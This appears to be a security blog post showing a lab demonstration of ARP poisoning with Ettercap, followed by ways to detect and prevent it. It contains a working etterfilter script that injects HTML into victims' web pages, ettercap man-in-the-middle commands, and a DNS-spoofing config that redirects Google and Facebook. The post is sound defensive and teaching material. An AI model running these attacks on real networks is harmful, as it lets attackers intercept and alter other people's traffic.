ettercap with html injection
Irongeek has a couple good pages dealing with Ettercap.
Fun with Ettercap Filters
The Basics of Arpspoofing/Arppoisoning
There is plenty more information there if you search his site, plus a number of other sites and forums where you can find information.
I decided to show a couple examples, then relate them to NSM and ways to detect ARP poisoning. I happen to be using FreeBSD as the attacking system in this case, and a Windows 7 system as the targeted system. For my experiment, I’ll use the following image.
Here is the filter I used to replace the page title and body with my own title and body. It includes segments from Irongeek’s filter, so I’ll include the GPL notice.
############################################################################
# #
# nr.filter -- filter source file #
# Based on work by Irongeek and others http://www.irongeek.com/ #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
############################################################################
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
if (search(DATA.data, "gzip")) {
replace("gzip", " ");
msg("whited out gzip!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("<title>", "<title>PWNED<\/tITle><bodY><p><img src=http://up.2cto.com/2013/0725/20130725094847538.jpg"></p></boDY>");
replace("<TITLE>", "<title>PWNED<\/tITle><bodY><p><img src=http://up.2cto.com/2013/0725/20130725094847538.jpg"></p></boDY>");
replace("</title>", " ");
replace("</TITLE>", " ");
replace("<body>", " ");
replace("<BODY>", " ");
msg("Filter Ran.\n");
}
This filter is designed to replace the “title” tag with a new title plus a body that links to the image. Then at the end of the filter, I attempt to replace the original page’s title closing tag with a space since I already closed the tag, and then replace the original page’s body tag with a space to eliminate the body of the page. I believe you could also use a pcre_regex command in the filter to more thoroughly remove the existing page body after inserting the image or other content of your choosing. See the etterfilter manual page for more.
To compile the filter, I simply execute the following:
$ etterfilter nr.filter -o nr.ef
Then to run ettercap on a FreeBSD VM in this example, I execute the following:
$ sudo ettercap -i em0 -F nr.ef -T -M arp:remote /172.16.126.2/ /172.16.126.131/
The “-T” option is to use the text interface rather than the GUI or ncurses. The “-M” executes a man-in-the-middle with the arguments for ARP poisoning that includes the gateway, which is the first IP address in this case. The second IP address is a Windows system.
Here are some examples of the results if trying to surf using Chrome on the targeted Windows 7 system.
Notice the title is not changed on Slashdot, indicating they do not use a traditional
HTML title tag. The body is also not replaced, just pushed down the page.
Here is what Google looks like.
Success.
Finally, here is my blog.
Success once again. Both the page title and body are replaced.
Another way to show how easy it is to redirect traffic to an unexpected site is with ettercap’s DNS spoofing plugin. First, I edit /usr/local/share/ettercap/etter.dns and add the following lines.
facebook.com A 216.34.181.45
*.facebook.com A 216.34.181.45
www.facebook.com PTR 216.34.181.45
google.com A 131.253.33.200
*.google.com A 131.253.33.200
www.google.com PTR 131.253.33.200
Then I run ettercap with the plugin enabled.
$ sudo ettercap -i em0 -P dns_spoof -T -M arp:remote /172.16.126.2/ /172.16.126.131/
This 20 second video shows what happens when I then try to go to Google or Facebook from the targeted system.
This can be fairly amusing, particularly if you are on a lab network where shenanigans are not only acceptable but expected. On the other hand, imagine injecting something more malicious than a funny image like a malicious iFrame or malicious Javascript. I played around with injecting Javascript into pages and it really is trivial if you’re in a position to poison the network gateway. A good old-fashioned Rickroll is another good way to demonstrate the attack in a non-malicious way.
As I mentioned in a previous post about ettercap, the Metasploit site was briefly owned through ARP poisoning in 2008. It is an old-school attack that can still be quite effective if you have access to a system on the same network segment as another system you want to attack.
Defenses against ARP poisoning are fairly simple to describe but not necessarily practical or easy to implement. The first, mentioned in the Metasploit article, is using static ARP tables so ARP requests over the network are no longer necessary. This may be simple in the case of a single gateway entry, but the larger the network the more administrative overhead to use static ARP entries.
You can also use software to detect ARP poisoning, for example LBNL’s arpwatch. Any software that can show you MAC addresses along with IP addresses can potentially be used to detect poisoning since you would see the same IP address in use by multiple MAC addresses. For example, here is what my ARP poisoning with ettercap looks like in Wireshark.
You can see that the poisoner, 00:0c:29:6d:92:78, is associated with both IP addresses.
So, it is easy to see in the traffic but that doesn’t mean it is necessarily easy to detect without some analyst intervention. Snort has an ARP spoofing preprocessor, but it seems likely that an IDS will often be in the wrong position on a network to see ARP traffic. In fact, most networks are probably not instrumented in such a way that you can see ARP traffic on a NSM sensor. It is not actually difficult in a technical sense, but it does require resources to have internal network sensors and make sure the network is architected properly for the sensors to have visibility. There are probably more efficient ways to allocate resources for detection in this case.
There are still other methods to help detect and prevent ARP spoofing, particularly with network equipment like managed switches. Jeremy Stretch has a good write-up on DHCP Snooping and Dynamic Arp Inspection over at his PacketLife blog showing exactly how DAI can be used to prevent and detect ARP poisoning. You can also read about DHCP Snooping and DAI on Cisco’s site. This seems like it may be an easier method than IDS deployments since networking equipment is already positioned to see ARP traffic, but it does require equipment that supports ARP inspection.
I had originally thought of also showing how you could combine Ettercap with Metasploit to inject malicious traffic and more in the above examples, but I decided that would overly complicate this post. It is probably better reserved for a future post.